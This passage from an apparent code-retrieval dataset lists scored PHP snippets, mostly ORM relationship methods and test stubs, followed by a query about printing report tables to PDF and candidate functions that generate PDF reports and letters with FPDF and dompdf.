"title": "" }, { "docid": "33f75dc9b23c889aa40ccc4b35cc8afd", "score": "0.5549725", "text": "public function testAppsBetaLicenseAgreementGetToOneRelated()\n {\n }", "title": "" }, { "docid": "f55928d36176590b654c822a539e0cbb", "score": "0.55185306", "text": "public function testAppsEndUserLicenseAgreementGetToOneRelated()\n {\n }", "title": "" }, { "docid": "990db67c4368efcc00c50a274925b5b7", "score": "0.55002236", "text": "public function getRelations();", "title": "" }, { "docid": "e7d5533db29442eafd8ceb41eed99aa2", "score": "0.5498524", "text": "public static function getManyToMany();", "title": "" }, { "docid": "3cadf0ef404f1eb9b70101ec36cc2eff", "score": "0.54795927", "text": "public function testIsMany()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "3cadf0ef404f1eb9b70101ec36cc2eff", "score": "0.54795927", "text": "public function testIsMany()\n {\n $this->todo('stub');\n }", "title": "" }, { "docid": "563ca1692bc1d6e31aa3868211edcd51", "score": "0.54786813", "text": "public function price()\n {\n $this->hasMany(Price::class, 'line_item_id', 'id');\n }", "title": "" }, { "docid": "ea08baddaad638fd3e2780e65ad99491", "score": "0.5455683", "text": "protected function getBelongsToManyCaller()\n {\n\n }", "title": "" }, { "docid": "f2d47ff0473d264992ee6d94fb31a876", "score": "0.5454878", "text": "public function getRelatedProducts() {\n\t\treturn $this->relatedProducts;\n\t}", "title": "" }, { "docid": "555ab381ce22d58b791e38bc6dc5201c", "score": "0.5421314", "text": "protected function toMany()\n {\n if ($this instanceof Entity) {\n return new Relationship\\ToMany($this);\n }\n throw new \\RuntimeException('Cannot create to many relationship for non-entities');\n }", "title": "" }, { "docid": "4e42c3b1ff75292f494acda9817ae0e0", "score": "0.5403834", "text": "function get_child_products();", "title": "" }, { "docid": "7936c551ce15dc8f00b3cbdbb38ecf25", "score": "0.53820884", "text": "public function relationships();", "title": "" }, { "docid": "c0f037e3369e2daa1fdad232e053b510", "score": "0.53791344", "text": "public function coinprices() {\n return $this->hasMany('App\\Modules\\Portfolio\\CoinPrice');\n }", "title": "" }, { "docid": "009e33f5c0d3a2683c1f0a9506610ecd", "score": "0.537885", "text": "public function orders(): HasManyThrough;", "title": "" }, { "docid": "2a7150eccf6de74038a714e0a56038b0", "score": "0.53679836", "text": "public function sellerProducts()\n {\n \t// belongsTo(RelatedModel, foreignKey = sp_id, keyOnRelatedModel = sp_id)\n \treturn $this->belongsTo('App\\SellerProducts','sp_id','sp_id');\n }", "title": "" }, { "docid": "f92143c41704c3c9b9df992ad9de7658", "score": "0.5367572", "text": "public function product(): BelongsTo;", "title": "" }, { "docid": "57aeb486c288b12837b7a157c98688e7", "score": "0.53521645", "text": "public function products()\n {\n return $this->hasManyThrough('App\\Product', 'App\\SubCategory');\n }", "title": "" }, { "docid": "f6472f6619626bfc56b7afed4b9d96d1", "score": "0.53518456", "text": "public function getPaysIncomesWithPaysPaymentIdMany()\r\n {\r\n return $this->getMany(PaysIncome::class, [\r\n 'pays_payment_id' => 'id',\r\n ]); \r\n }", "title": "" }, { "docid": "2f6f8b737e0f6f74d2c9f47f5c9bc221", "score": "0.53421175", "text": "public function carts(): HasManyThrough;", "title": "" }, { "docid": "95638783c3cbab76e09a68d72d31be6f", "score": "0.5320781", "text": "public function prospects(): HasMany;", "title": "" }, { "docid": "611f3294d41a1c5d63939d1960a89025", "score": "0.5319497", "text": "public function testCarrierFreightDescriptionsGETManyRequestCarrierIDFreightDescriptionsGet()\n {\n }", "title": "" }, { "docid": "4e0b5c7b8bc3b68269f530f3c32da5d9", "score": "0.5314369", "text": "public function withRelations()\n {\n }", "title": "" }, { "docid": "2e3e70f88e06564de2b3b5fe80d26ae6", "score": "0.53113526", "text": "public function price()\n {\n return $this->belongsTo('App\\Price');\n }", "title": "" }, { "docid": "c20340ae0b2093bfd11c5cd28344e710", "score": "0.5306564", "text": "public function getProducts();", "title": "" }, { "docid": "c20340ae0b2093bfd11c5cd28344e710", "score": "0.5306564", "text": "public function getProducts();", "title": "" }, { "docid": "c20340ae0b2093bfd11c5cd28344e710", "score": "0.5306564", "text": "public function getProducts();", "title": "" }, { "docid": "da479f60139059767d3c7a6c1e0861f6", "score": "0.52973646", "text": "public function books()\n {\n return $this->belongsToMany(Book::class, 'book_book', 'book_id', 'book2_id');\n }", "title": "" }, { "docid": "5a237cf33b2dadde181f6a919fb549bc", "score": "0.52939576", "text": "public function testCarrierServicesGETManyRequestCarrierIDServicesGet()\n {\n }", "title": "" }, { "docid": "992f0794b91628790fc25ff234470d2e", "score": "0.5282292", "text": "public function testGETSkuIdPrices()\n {\n // TODO: implement\n $this->markTestIncomplete('Not implemented');\n }", "title": "" }, { "docid": "64777dbf0aa69e29c9b95769ece85c2b", "score": "0.52766216", "text": "public function testAccountsRelationship()\n {\n $this->assertInstanceOf(\n 'Illuminate\\Database\\Eloquent\\Relations\\MorphToMany',\n $this->user->accounts()\n );\n }", "title": "" }, { "docid": "02143de673b0cf80a21d49f861f7e610", "score": "0.5276309", "text": "public function getArticlesPricesLists()\n {\n return $this->hasMany(ArticlesPricesList::className(), ['sid' => 'id']);\n }", "title": "" }, { "docid": "6199abd9601c103d9d48189f2313c28d", "score": "0.5272014", "text": "public function prices()\n {\n return $this->hasManyThrough(\n 'App\\Modules\\Softcard\\Models\\SoftcardPrice',\n 'App\\Modules\\Softcard\\Models\\SoftcardItem',\n 'softcard_id',\n 'item_id',\n 'id',\n 'id'\n );\n }", "title": "" }, { "docid": "0d23de14d21958ddb6e96e8e515bec32", "score": "0.52672833", "text": "public function hasMany($related, $foreignKey = null, $localKey = null)\n {\n\n }", "title": "" }, { "docid": "0a256321926c34919f3e63bb348ee5bd", "score": "0.5266557", "text": "public function test_get_price() {\n $this->assertEquals($this->billProduct->price, BillProductData::getPrice($this->billProduct->id));\n $this->assertEquals($this->billApplicationProduct->price, BillProductData::getPrice($this->billApplicationProduct->id));\n }", "title": "" }, { "docid": "ecd908275cac1c4c38f48df92f2d9a31", "score": "0.5263152", "text": "public function getItems()\n {\n return $this->hasMany(Item::className(), ['item_id' => 'item_id'])->viaTable('customer_item_price', ['customer_id' => 'customer_id']);\n }", "title": "" }, { "docid": "b0531eae4cad9ed03ddb9e61d3d77732", "score": "0.5262904", "text": "function get_related_data($data){\r\n $related_data = array();\r\n foreach($data as $key => $val)\r\n if(is_array($val) && $this->has_relation($key))\r\n $related_data[$key] = $val;\r\n \r\n return $related_data;\r\n }", "title": "" }, { "docid": "8fc32c843099b01b3ce32115a895b0fb", "score": "0.52600175", "text": "public static function getEntityRelations();", "title": "" }, { "docid": "0aff1c7e9d9f4174c76c290ae9ba0d69", "score": "0.52553225", "text": "public function products()\n {\n \treturn $this->belongsToMany(App\\Models\\Product::class,'product_sale','sale_id','product_id');\n }", "title": "" }, { "docid": "1424e036cca904caf07cb23ad980acd5", "score": "0.525491", "text": "public function get_products(){\n return $this->hasOneThrough('App\\Models\\product','App\\Models\\order_summary','order_id','id','id','id');\n }", "title": "" }, { "docid": "a901ff0831fd73e0f69e8094fa36a158", "score": "0.52457505", "text": "protected function getEagerProducts()\n {\n $this->getProductsData();\n $this->getWishlistProductsData();\n $this->getTotalPrice();\n $this->storeCartData();\n }", "title": "" }, { "docid": "9bc66a3ca7e898a39f0d4721d91148a7", "score": "0.5244794", "text": "public function getRelatedEntities(){\r\n return false;\r\n }", "title": "" }, { "docid": "64454ae4695a16771049efbf7f48e196", "score": "0.5244741", "text": "public function getBooks()\n {\n return $this->hasMany(Book::className(), ['id' => 'book_id'])->viaTable('author_book', ['author_id' => 'id']);\n }", "title": "" }, { "docid": "2909efe472862e8eee76ba22e9e1ca96", "score": "0.5243822", "text": "abstract protected function retrieveManyById(array $ids);", "title": "" }, { "docid": "74146da2c182f05624778ef46c7fc877", "score": "0.5241396", "text": "public function products()\n {\n return $this->hasManyThrough('App\\Product', 'App\\Order');\n }", "title": "" }, { "docid": "ba422cdce637b21673f2e5f0ca5fb2e9", "score": "0.5236418", "text": "public function getBooks()\n {\n return $this->hasMany(Books::className(), ['id' => 'book_id'])->viaTable('book_author', ['author_id' => 'id']);\n }", "title": "" }, { "docid": "e8003b2c6b2f270161b645091b02083f", "score": "0.5221831", "text": "function jigoshop_output_related_products() {\n\t\tjigoshop_related_products( 2, 2 );\n\t}", "title": "" }, { "docid": "e8469d77bc80551ef3caef49d2daa1ca", "score": "0.52205884", "text": "function testExtraTableMixinRelation() {\n $pub = Sample::getInstance()->getSamplePublishImplMapper();\n $pub->reset();\n \n // now the hard part: test the collection\n //$pub->setIdentifierPublicField('Sample_Publish::id');\n $pub->reset();\n \n $a = Sample::getInstance()->getSamplePersonMapper()->loadRecord(3);\n $publications = array();\n foreach ($a->listAuthorPublish() as $i) {\n $p = $a->getAuthorPublish($i);\n $publications[$p->pubId] = $p;\n }\n if (!$this->assertArraysMatch(array(\n 117 => array('__class' => 'Sample_Person_Post', 'pubId' => 117, 'id' => 3),\n 118 => array('__class' => 'Sample_Person_Post', 'pubId' => 118, 'id' => 2),\n 1 => array('__class' => 'Sample_Shop_Product', 'pubId' => 1, 'id' => 1),\n ), $r = Ac_Debug::dr($publications), '%s')) var_dump($r);\n }", "title": "" }, { "docid": "1ea12a03f02ddf38c17078f4034fc618", "score": "0.5220445", "text": "public function testGetPriceListProductCollection()\n {\n }", "title": "" }, { "docid": "9ff362103d9cded20fb892412e768615", "score": "0.5219099", "text": "public function producerPrices()\n {\n return $this->hasMany('App\\ProducerPrice');\n }", "title": "" }, { "docid": "6f6d2f1f59ca6c308493efb69a72b5b5", "score": "0.5215289", "text": "public function food_pairing(): BelongsToMany\n {\n return $this->belongsToMany(FoodPair::class);\n }", "title": "" }, { "docid": "81e3aa52aa74686ef8dc5044b3d9c925", "score": "0.5214378", "text": "abstract public function tags(): BelongsToMany;", "title": "" }, { "docid": "2123b15e9326c6c67f4c523bb16d1254", "score": "0.5201194", "text": "public function _getProductCollection()\n {\n }", "title": "" }, { "docid": "0bd8a3a832823731398d3b749cfde079", "score": "0.51999766", "text": "public function testPostPriceListProductCollection()\n {\n }", "title": "" }, { "docid": "6f63491a0b9b515b44710b6e5df8d99c", "score": "0.51967025", "text": "public function orders(): HasMany;", "title": "" }, { "docid": "afd978552cd839155f8ae6d4fa1b136e", "score": "0.5196111", "text": "public function testFilteringByHasMany() {\n\t\t$this->_createTables();\n\n\t\t$query = new Query($this->connection, $this->table);\n\t\t$table = Table::build('author', ['connection' => $this->connection]);\n\t\tTable::build('article', ['connection' => $this->connection]);\n\t\t$table->hasMany('article', ['property' => 'articles']);\n\n\t\t$results = $query->repository($table)\n\t\t\t->select()\n\t\t\t->contain(['article' => [\n\t\t\t\t'matching' => true,\n\t\t\t\t'conditions' => ['article.id' => 2]\n\t\t\t]])\n\t\t\t->toArray();\n\t\t$expected = [\n\t\t\t[\n\t\t\t\t'id' => 3,\n\t\t\t\t'name' => 'larry',\n\t\t\t\t'articles' => [\n\t\t\t\t\t'id' => 2,\n\t\t\t\t\t'title' => 'Second Article',\n\t\t\t\t\t'body' => 'Second Article Body',\n\t\t\t\t\t'author_id' => 3,\n\t\t\t\t\t'published' => 'Y',\n\t\t\t\t]\n\t\t\t]\n\t\t];\n\t\t$this->assertEquals($expected, $results);\n\t}", "title": "" }, { "docid": "c282c6536fa8a01cfe5a804a12ff303b", "score": "0.5174363", "text": "public function products()\n {\n return $this->hasMany(Product::class, 'company_id', 'id');\n }", "title": "" }, { "docid": "1115a3a0b6083011a8eb7023ddcf3df4", "score": "0.51739365", "text": "public function hasAdvancedPrices();", "title": "" }, { "docid": "33b4576599750a8af0549ed4975ccd70", "score": "0.5164288", "text": "public function additionalProducts()\r\n {\r\n return $this->belongsToMany(Product::class, 'ecom_product_category');\r\n }", "title": "" }, { "docid": "e11fc60877356e93f2195a8fa2fd19e5", "score": "0.5154458", "text": "public function getBooks()\n {\n return $this->hasMany(Books::className(), ['FK_id_a' => 'id_a']);\n }", "title": "" }, { "docid": "980d62745d78de5a89a36c099109743a", "score": "0.5147414", "text": "public function carts(): HasMany;", "title": "" }, { "docid": "708c4c5234ba421f6e817c519e501feb", "score": "0.51449275", "text": "final public function hasMany()\n {\n /**\n * Zgrupowanie wyników WG klucza podstawowego encji (np user_id)\n */\n $groupedResult = [];\n \n $relatedEntites = $this->getRelatedEntities();\n \n foreach ($relatedEntites as $entity) {\n \n $functionName = 'get' . Utils::toCamelCase($this->relationData['entity_key']);\n \n $groupedResult[$entity->$functionName()][] = $entity;\n }\n \n return $groupedResult;\n }", "title": "" }, { "docid": "6215699d932ac5e70a824e9504d740af", "score": "0.5143843", "text": "abstract public function morphToMany(\n $related,\n $name,\n $table = null,\n $foreignPivotKey = null,\n $relatedPivotKey = null,\n $parentKey = null,\n $relatedKey = null,\n $inverse = false\n );", "title": "" }, { "docid": "21a6aeba3805e6ac9b8f42bf37ad13e0", "score": "0.51379335", "text": "public function belongsToMany($related, $table = null, $foreignKey = null, $otherKey = null, $relation = null)\n {\n\n }", "title": "" }, { "docid": "40a44428bfb931fe77fe88c0bcb21eb4", "score": "0.5137698", "text": "public function getRelations(){\n return array();\n }", "title": "" }, { "docid": "664f93abef557c96ec9a753f92743b1f", "score": "0.51372254", "text": "abstract public function refetchPrices();", "title": "" }, { "docid": "e78d32cc27144e1de817d5ce8136ec3e", "score": "0.5130236", "text": "public function implementingPartners()\n {\n return $this->belongsToMany('App\\ImplementingPartner');\n }", "title": "" }, { "docid": "70eaf57b2a10b1144e1351cc09a58663", "score": "0.5128854", "text": "public function products(): BelongsToMany\n {\n return $this->belongsToMany(Product::class);\n }", "title": "" }, { "docid": "70eaf57b2a10b1144e1351cc09a58663", "score": "0.5128854", "text": "public function products(): BelongsToMany\n {\n return $this->belongsToMany(Product::class);\n }", "title": "" }, { "docid": "a1fea1800abc563d277ea4c7a474921d", "score": "0.51282156", "text": "public function testCreateResponsesWithRelationQuery()\n {\n $response = responder()->success($this->product->shipments())->respond();\n\n $this->assertEquals($this->responseData([$this->shipment->toArray()]), $response->getData(true));\n }", "title": "" } ]
7d1f7c64b26b83a49072b3c8fb794633
cetak pdf tabel data laporan / pengaduan
[ { "docid": "a4450b3d9f23abe653da664dd4811b44", "score": "0.7329663", "text": "public function cetak_laporan()\n {\n $data['pengaduan'] = $this->model_system->view_laporan();\n\n $this->load->library('pdf');\n $this->pdf->setPaper('A4','potrait');\n $this->pdf->filename = 'laporan-pengaduan.pdf';\n $this->pdf->load_view('admin/pdf_pengaduan', $data);\n\n }", "title": "" } ]
[ { "docid": "22e174fe3aaf17227aef66e4464fbe07", "score": "0.7763952", "text": "function lapcetakpdf(){\n\n $this->load->model('laporan_model');\n\n $tgl1 = $tgl2 = $searchText = '';\n\n if($this->uri->segment('2')!='-') $tgl1 = date('d-m-Y',$this->uri->segment('2'));\n else $tgl1 = '';\n\n if($this->uri->segment('3')!='-') $tgl2 = date('d-m-Y',$this->uri->segment('3'));\n else $tgl2 = '';\n\n if($this->uri->segment('4')!='-') $jmutasi = $this->uri->segment('4');\n else $jmutasi = '';\n\n if($this->uri->segment('5')!='-') $searchText = $this->uri->segment('5');\n else $searchText = '';\n\n $pdf = new FPDF('l','mm','A5');\n // membuat halaman baru\n $pdf->AddPage();\n // setting jenis font yang akan digunakan\n $pdf->SetFont('Arial','B',16);\n // mencetak string\n $pdf->Cell(190,7,'LAPORAN MUTASI',0,1,'C');\n $pdf->SetFont('Arial','B',12);\n\n if($tgl1!='' && $tgl2!=''){\n $pdf->Cell(190,6,'Tanggal '.$tgl1.' s/d '.$tgl2,0,1,'C');\n }\n if($jmutasi!=''){\n $pdf->Cell(190,6,'Jenis Mutasi : '.ucwords($jmutasi),0,1,'');\n }\n\n\n\n // Memberikan space kebawah agar tidak terlalu rapat\n $pdf->Cell(10,7,'',0,1);\n $pdf->SetFont('Arial','B',10);\n $pdf->Cell(10,6,'No.',1,0);\n $pdf->Cell(35,6,'NIK',1,0);\n $pdf->Cell(45,6,'Nama',1,0);\n $pdf->Cell(35,6,'Jenis Kelamin',1,0);\n $pdf->Cell(25,6,'Tempat Lahir',1,0);\n $pdf->Cell(25,6,'Tanggal Lahir',1,1);\n $pdf->SetFont('Arial','',10);\n\n $laporanData = $this->laporan_model->cetakBasedPost($searchText,$tgl1,$tgl2,$jmutasi);\n\n $i=1;\n foreach ($laporanData as $row){\n if($row->JENIS_KLMIN=='L') $jk = 'Laki-Laki'; else if($row->JENIS_KLMIN=='P') $jk = 'Perempuan';\n if($row->TGL_LHR!='0000-00-00') $dtx= date('d-m-Y',strtotime($row->TGL_LHR)); else $dtx= '-';\n\n $pdf->Cell(10,6,$i,1,0);\n $pdf->Cell(35,6,$row->NIK,1,0);\n $pdf->Cell(45,6,$row->NAMA_LGKP,1,0);\n $pdf->Cell(35,6,$jk,1,0);\n $pdf->Cell(25,6,$row->TMPT_LHR,1,0);\n $pdf->Cell(25,6,$dtx,1,1);\n $i++;\n }\n\n $pdf->Output();\n }", "title": "" }, { "docid": "0dbffc956d240b25cf588cd85b0772fc", "score": "0.77304006", "text": "public function viewpdf(){\n\t\n\t$test=$this->Solicitud_model->getinfo($_GET['id']);\n\t$test2=$this->Solicitud_model->getPartidas($_GET['id']);\n\n\t$this->load->library('pdf');\n\n\t$aux=\"\";\n\t$tipo=\"\";\n\n\tif ($test->tipo_sol==0)\n\t\t{$tipo=\"Viaticos\";}\n\telse\n\t{$tipo=\"Reembolso\";}\n\n\tif ($_GET['to']==0)\n\t{\n\t$firma='<br>\n\t<br>\n\t<br>\n\t<div class=\"form-group\">\n\t<div class=\"col-xs-3\">\n\t <label for=\"ex1\">Solicitante</label>\n\t <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" >\n\t</div>\n\t<div class=\"col-xs-4\">\n\t <label for=\"ex2\">Aprueba</label>\n\t <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" >\n\t</div>\n\t<div class=\"col-xs-3\">\n\t <label for=\"ex3\">Autoriza</label>\n\t <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" >\n\t</div>\n\t</div>';\n\t}\n\telse\n\t\t{$firma='';}\n\n\tforeach ($test2->result() as $info) {\n\t\t$aux = $aux.'<tr><td>'.$info->descripcion.'</td><td>'.number_format($info->total, 2, \".\", \",\").'</td></tr>'; \n\t}\n\n\t$html = '<!doctype html>\n\t<html lang=\"en\">\n <head>\n <!-- Required meta tags -->\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width, initial-scale=1, shrink-to-fit=no\">\n\n\t<!-- Latest compiled and minified CSS -->\n\t<link rel=\"stylesheet\" href=\"https://maxcdn.bootstrapcdn.com/bootstrap/3.3.7/css/bootstrap.min.css\" integrity=\"sha384-BVYiiSIFeK1dGmJRAkycuHAHRg32OmUcww7on3RYdg4Va+PmSTsz/K68vbdEjh4u\" crossorigin=\"anonymous\">\n\t<title>Solicitud de Viaticos</title>\n\t<style type=\"text/css\">\n input[type=\"text\"]{\n border:none;\n\t\tborder-bottom:2px solid #000000;\n\t\twidth: 100%;\n\t\theight: 22px;\n\t\tfont-size: larger;\n }\n\t</style>\n </head>\n <body>\n\n \n\n <div class=”container-fluid”>\n <div class=\"row\">\n\n <h1 class=\"text-center bg-info\">Solicitud de Viaticos</h1>\n\n <div class=\"panel panel-default\">\n <div class=\"panel-body\">\n\n <div class=\"form-group row\">\n <div class=\"col-xs-2\">\n <label for=\"ex1\">Folio</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->folio.'\">\n </div>\n <div class=\"col-xs-3\">\n <label for=\"ex2\">Fecha de Solicitud</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" size=\"50\" value=\"'.$test->Fecha.'\">\n </div>\n <div class=\"col-xs-5\">\n <label for=\"ex3\">Nombre del Solicitante</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->Nombre.'\">\n </div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Area del Solicitante</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->area.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Tipo de Solicitud</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$tipo.'\">\n</div>\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Fecha de Salida</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->fecha_inicio.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Fecha de Regreso</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->fecha_fin.'\">\n</div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-3\">\n <label for=\"ex1\">Ciudad Origen</label>\n <input class=\"form-control input-sm\" id=\"ex1\" type=\"text\" value=\"'.$test->ciudad_origen.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex2\">Estado Origen</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->estado_origen.'\">\n</div>\n<div class=\"col-xs-3\">\n <label for=\"ex3\">Ciudad Destino</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->ciudad_destino.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex3\">Estado Destino</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.$test->estado_destino.'\">\n</div>\n</div>\n\n<div class=\"form-group row\">\n<div class=\"col-xs-9\">\n <label for=\"ex2\">Motivo</label>\n <input class=\"form-control input-sm\" id=\"ex2\" type=\"text\" value=\"'.$test->motivo.'\">\n</div>\n<div class=\"col-xs-2\">\n <label for=\"ex3\">Total</label>\n <input class=\"form-control input-sm\" id=\"ex3\" type=\"text\" value=\"'.number_format($test->total, 2, '.', ',').'\">\n</div>\n</div>\n\n\n<table class=\"table table-striped table-hover\">\n <thead>\n <tr>\n <th>Descripción</th>\n <th>Total</th>\n </tr>\n </thead>\n\t<tbody>\n'.$aux.'\n<tbody>\n</table>\n\n\n</div>\n</div>\n</div>\n</div>\n\n'.$firma.'\n\n\n\n</body>\n</html>\n\t';\n\n $this->pdf->generate($html, 'Solicitud de Viaticos No '.$test->folio, true, 'Letter', 'portrait');\n\t\t\n}", "title": "" }, { "docid": "0118900e8f82ebda328d5d07910d3b64", "score": "0.7671985", "text": "function RsolicitudBaja(){\n $pdf = new FPDF();\n $pdf->AddPage();\n \n $pdf->Image($this->base.\"assets/images/logo.png\",10,8,185,32);\n \n $pdf->SetFont('Arial','B',10);\n $pdf->ln(35);\n $pdf->cell(105);\n \n // Información de cabecera parte derecha\n \n $pdf->Cell(30,5,utf8_decode('Oficio No.'),0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n \n $pdf->Cell(30,5,utf8_decode('{Número de folio}'));\n $pdf->Ln();\n $pdf->SetFont('Arial','B',10);\n $pdf->cell(100);\n $pdf->Cell(30,5,'Asunto:',0,0,\"R\");\n $pdf->SetFont('Arial','',10);\n $pdf->Cell(30,5,utf8_decode('Se notifica tramite solicitado'));\n $pdf->Ln();\n $pdf->cell(107);\n $pdf->Cell(30,5,utf8_decode('{Fecha formato: Colima, Colima , a 25 de Junio de 2018}'));\n $pdf->Ln(10);\n \n \n // Datos del remitente\n $pdf->SetFont('Arial','B',10);\n \n $pdf->Cell(30,5,utf8_decode('{Nombre al que va dirigido el oficio},'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('{Cargo al que va dirigido el oficio},'));\n $pdf->Ln();\n \n $pdf->Cell(30,5,utf8_decode('PRESENTE.'));\n $pdf->Ln(10);\n \n // Comunicado\n $pdf->SetFont('Arial','',10);\n \n \n $pdf->MultiCell(185,5,utf8_decode(\"De conformidad a las atribuciones que me confiere en numeral 19, 20 y además relativos a la ley del sistema de Seguridad Pública para el Estado de Colima y en atención al oficio no. {Respuesta al oficio número}, del año {Año}, signado por el Director General de Operaciones e Inteligencia, en el cual se solicita realizar el trámite de baja en el aplicativo del Registro Nacional de Personal de Seguridad Pública (RNPSP), {Nombre de la persona a dar a baja}, al respecto hago de su conocimiento que se ha llevado a cabo el trámite solicitado, adjunto constancia de dicho movimiento \"));\n \n $pdf->Ln(5);\n $pdf->SetFont('Arial','',10);\n \n $pdf->Cell(30,5,utf8_decode('PEP'));\n \n \n $pdf->Ln(10);\n $pdf->Cell(30,5,utf8_decode('Sin otro particular, hago propicia la ocasión para hacerle llegar un cordial saludo'));\n $pdf->Ln(10);\n $pdf->SetFont('Arial','B',8);\n $pdf->Cell(0,0,utf8_decode('A T E N T A M E N T E'),0 ,0 ,'C');\n $pdf->Ln();\n $pdf->Cell(0,10,utf8_decode('{Cargo}'), 0, 0, 'C');\n\n $pdf->Ln(15);\n\n $pdf->Cell(0,5,utf8_decode('{Nombre del encargado del despacho del secretariado ejecutivo del SESESP}'), 0, 0, 'C');\n \n $pdf->Ln();\n \n $pdf->SetFont('Arial','',8);\n $pdf->Cell(30,5,utf8_decode('C.c.p.'));\n $pdf->Ln(10);\n \n $pdf->SetFont('Arial','',9);\n $pdf->Cell(30,5,utf8_decode('{Coordinador de TI de SESESP}'));\n $pdf->Cell(25);\n $pdf->Cell(30,5,utf8_decode('Coordinador General de Administración de Tecnologías del SESESP.- Para su conocimiento'));\n $pdf->Ln();\n \n $pdf->SetFont('Arial','',9);\n $pdf->Cell(30,5,utf8_decode('{Director general Op e Int SSP}'));\n $pdf->Cell(25);\n $pdf->Cell(30,5,utf8_decode('Director General de Operaciones e Inteligencia de la SSP.- Igual fin'));\n $pdf->Ln();\n \n $pdf->SetFont('Arial','',9);\n $pdf->Cell(30,5,utf8_decode('{Subcoordinador De SI del SESESP}'));\n $pdf->Cell(30);\n $pdf->Cell(30,5,utf8_decode('Subcoordinador de Sistemas de Información del SESESP.- Mismo fin'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('Archivo.'));\n $pdf->Ln();\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('JACHG/HHCHD/NAVA'));\n \n $pdf->Ln(5);\n $pdf->Cell(52);\n $pdf->SetFont('Arial','',6);\n $pdf->Cell(30,5,utf8_decode('\"Año 2018. Centenario del natalicio del escritor mexicano y universal Juan José Arreola\"'));\n $pdf->Ln();\n $pdf->Image($this->base.\"assets/images/Cintillo.png\",72,253,65,1);\n \n $pdf->SetFont('Arial','',6);\n $pdf->Cell(64);\n $pdf->Cell(30,4,utf8_decode('Secretariado Ejecutivo del Sistema Estatal de Seguridad Pública'));\n $pdf->Ln();\n $pdf->Cell(57);\n $pdf->Cell(30,4,utf8_decode('C. Emilio Carranza Esq. Ejército Nacional S/N, Colonia Centro, C.P. 28000'));\n $pdf->Ln();\n $pdf->Cell(72);\n $pdf->Cell(30,4,utf8_decode('Colima, Colima, México. Tel. (312) 3162603'));\n $pdf->Ln();\n $pdf->Cell(69);\n $pdf->Cell(30,4,utf8_decode('https://www.secretariadoejecutivosesp.col.gob.mx'));\n \n \n $pdf->Output();\n }", "title": "" }, { "docid": "f7e2be4f30d6344569e920c177cd6b76", "score": "0.7661737", "text": "public function laporan_pdf()\n {\n $this->load->library('pdfgenerator');\n\n // title dari pdf\n $this->data['all_bank'] = $this->bank_m->lihat();\n $this->data['title'] = 'Laporan Data Barang';\n $this->data['no'] = 1;\n\n // filename dari pdf ketika didownload\n $file_pdf = 'laporan_penerimaan';\n // setting paper\n $paper = 'A4';\n //orientasi paper potrait / landscape\n $orientation = \"portrait\";\n\n $html = $this->load->view('laporan_pdf', $this->data, true);\n\n // run dompdf\n $this->pdfgenerator->generate($html, $file_pdf, $paper, $orientation);\n }", "title": "" }, { "docid": "4247919a649f1df8577e9d4ec44153ef", "score": "0.76276064", "text": "public function pdfSociosInscritos()\n {\n $this->load->model('talleres_model');\n // Se carga la libreria fpdf\n $this->load->library('pdf');\n \n $curso=$_POST['curso'];\n // Se obtienen los alumnos de la base de datos\n $socios = $this->talleres_model->getResumenSociosTalleres($curso);\n //var_dump($socios);\n \n // Creacion del PDF\n \n /*\n * Se crea un objeto de la clase Pdf, recuerda que la clase Pdf\n * heredó todos las variables y métodos de fpdf\n */\n $this->pdf = new Pdf();\n \n $this->pdf->setSubtitulo('Inscrits en Tallers curs: '.$this->talleres_model->getNombreCurso($curso));\n // Agregamos una página\n $this->pdf->AddPage();\n // Define el alias para el número de página que se imprimirá en el pie\n $this->pdf->AliasNbPages();\n \n /* Se define el titulo, márgenes izquierdo, derecho y\n * el color de relleno predeterminado\n */\n $this->pdf->SetTitle(\"Resumen socios inscritos curso \".$this->talleres_model->getNombreCurso($curso));\n $this->pdf->SetLeftMargin(15);\n $this->pdf->SetRightMargin(15);\n $this->pdf->SetFillColor(200,200,200);\n \n // Se define el formato de fuente: Arial, negritas, tamaño 9\n $this->pdf->SetFont('Arial', 'B', 9);\n /*\n * TITULOS DE COLUMNAS\n *\n * $this->pdf->Cell(Ancho, Alto,texto,borde,posición,alineación,relleno);\n */\n \n //encabezado\n \n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(40,7,'','TB',0,'C','1');\n //$this->pdf->Cell(25,7,'','TB',0,'L','1');\n //$this->pdf->Cell(25,7,'','TBR',0,'C','1');\n $this->pdf->Ln(0);\n // La variable $x se utiliza para mostrar un número consecutivo\n $x = 0;\n $num=0;\n $numSocios=0;\n $total=0;\n foreach ($socios as $k=>$socio) {\n if($x % 46 ==0 ){\n \n 